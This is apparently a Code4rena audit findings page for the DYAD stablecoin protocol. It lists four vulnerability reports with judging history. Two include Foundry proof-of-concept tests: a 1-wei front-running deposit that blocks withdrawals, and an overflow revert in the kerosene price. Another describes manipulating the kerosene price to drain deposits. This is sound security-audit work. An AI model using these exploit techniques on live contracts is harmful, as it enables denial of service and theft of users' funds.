Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 97/183
Findings: 4
Award: $13.58
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L125 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143
It is possible to execute a front-run attack on all users attempting to withdraw their collateral from VaultManagerV2
. The vulnerable functions are VaultManagerV2.withdraw
and VaultManagerV2.redeemDyad
. This vulnerability arises because the attacker can deposit an arbitrary amount (for example, 1 wei) of the corresponding vault asset.
function testFrontrunDos() external { //******CONSTANTS CONFIGURATION*******// address wethWhale = address(new UserNftReceiver()); address attacker = address(new UserNftReceiver()); address weth = MAINNET_WETH; VaultManagerV2 vaultManagerV2 = contracts.vaultManager; Vault ethVault = contracts.ethVault; vm.deal(wethWhale, 200 ether); vm.deal(attacker, 200 ether); deal(address(weth), wethWhale, 200 ether); deal(address(weth), attacker, 200 ether); DNft dNft = contracts.vaultManager.dNft(); uint256 AMOUNT_TO_DEPOSIT = 100 ether; uint256 nftId = dNft.totalSupply(); uint256 NFT_COST = dNft.START_PRICE() + (dNft.PRICE_INCREASE() * dNft.publicMints()); //******WHALE INITIAL DEPOSIT*******// vm.startPrank(wethWhale); dNft.mintNft{value: NFT_COST}(wethWhale); vaultManagerV2.add(nftId, address(ethVault)); IWETH(weth).approve(address(vaultManagerV2), AMOUNT_TO_DEPOSIT); vaultManagerV2.deposit(nftId, address(ethVault), AMOUNT_TO_DEPOSIT); vm.stopPrank(); //******ATTACKER FRONTRUNNING*******// vm.roll(block.number + 1); vm.startPrank(attacker); IWETH(weth).approve(address(vaultManagerV2), 1); vaultManagerV2.deposit(nftId, address(ethVault), 1); vm.stopPrank(); vm.startPrank(wethWhale); vm.expectRevert(); vaultManagerV2.withdraw(nftId, address(ethVault), AMOUNT_TO_DEPOSIT, wethWhale); vm.stopPrank(); } } interface IWETH { function approve(address, uint256) external returns (bool); function allowance(address, address) external returns (uint256); } contract UserNftReceiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4){ return this.onERC721Received.selector; } receive() external payable{ } }
Foundry
If you intend to maintain the restriction of executing calls in the same block, you should verify that the user initiating the deposit call is also the owner of the NFT.
DoS
#0 - c4-pre-sort
2024-04-27T11:50:08Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:29:05Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:38:13Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:39:23Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:18:06Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:18:13Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:28:16Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:50:41Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L65
As a consequence of a large number of dyads being minted in the old version, an overflow error occurs when calculating the price of kerosene in VaultManagerV2. Consequently, important functions like liquidate()
cannot be called properly until a significant proportion of collateral is provided in the new version.
This test runs in ethereum mainnet.
Reemplace Vault.kerosine.unbounded.sol::assetPrice con:
console.log("tvl"); console.log(tvl); console.log("dyad.totalSupply()"); console.log(dyad.totalSupply()); uint numerator = tvl - dyad.totalSupply(); // THIS LINE REVERTS uint denominator = kerosineDenominator.denominator();
function testDOSDueToOverflow() external { UnboundedKerosineVault unboundedKerosineVault = contracts.unboundedKerosineVault; vm.expectRevert(); unboundedKerosineVault.assetPrice(); }
Logs:
tvl 0 dyad.totalSupply() 622967400000000000000000
Foundry
It might be advisable to create a new version of dyad to avoid these issues after forking to the new version. Additionally, the deployment script should be adapted accordingly.
MEV
#0 - c4-pre-sort
2024-04-27T18:24:51Z
JustDravee marked the issue as duplicate of #958
#1 - c4-pre-sort
2024-04-29T08:39:32Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T13:48:37Z
koolexcrypto marked the issue as duplicate of #308
#3 - c4-judge
2024-05-11T20:09:14Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: dimulski
Also found by: 0xleadwizard, 0xlemon, Aamir, Al-Qa-qa, AvantGard, Bauchibred, Cryptor, DarkTower, Egis_Security, Giorgio, Maroutis, MrPotatoMagic, OMEN, Ocean_Sky, Ryonen, SBSecurity, Sabit, SpicyMeatball, Stefanov, T1MOH, Tigerfrake, WildSniper, atoko, bhilare_, darksnow, fandonov, grearlake, iamandreiski, igdbase, pontifex, web3km, xiao
4.8719 USDC - $4.87
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L26
Ethereum mainnet currently has an average transaction cost of approximately $10,considering that the REWARD RATE is 20%, positions with less than 150 USD in collateral are not profitable to liquidate. This threshold could increase rapidly as transaction costs on Ethereum rise.
Manual review
Due to the computational complexity of the liquidate function, which increases transaction gas costs, and the fact that funds cannot be withdrawn by the user, adding an option for donations that uses fewer opcodes would be a good choice. However, it is essential to consider potential future vulnerabilities that such a function may introduce regarding health factor concerns.
Other
#0 - c4-pre-sort
2024-04-27T13:30:10Z
JustDravee marked the issue as duplicate of #1258
#1 - c4-pre-sort
2024-04-29T09:16:44Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-03T14:07:47Z
koolexcrypto changed the severity to QA (Quality Assurance)
#3 - c4-judge
2024-05-12T09:33:04Z
koolexcrypto marked the issue as grade-c
#4 - c4-judge
2024-05-22T14:26:07Z
This previously downgraded issue has been upgraded by koolexcrypto
#5 - c4-judge
2024-05-28T16:52:06Z
koolexcrypto marked the issue as satisfactory
#6 - c4-judge
2024-05-28T20:06:17Z
koolexcrypto marked the issue as duplicate of #175
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68
Liquidatable positions, including those with a collateral ratio < 1 and using kerosene as collateral, can be exploited to profit and drain the protocol's deposits.
It can be profitable by manipulating the price of kerosene upwards. For this, it would be necessary to already have minted dyad in advance to burn it, thus increasing the price of kerosene and making positions closer to a 1.5 collateral ratio more profitable.The larger the amount of dyad burned, the more value it is possible to steal from the protocol
Manual Review
Implement UniswapTWAP
MEV
#0 - c4-pre-sort
2024-04-28T07:19:09Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:06:12Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-08T11:50:03Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-08T12:04:38Z
koolexcrypto marked the issue as satisfactory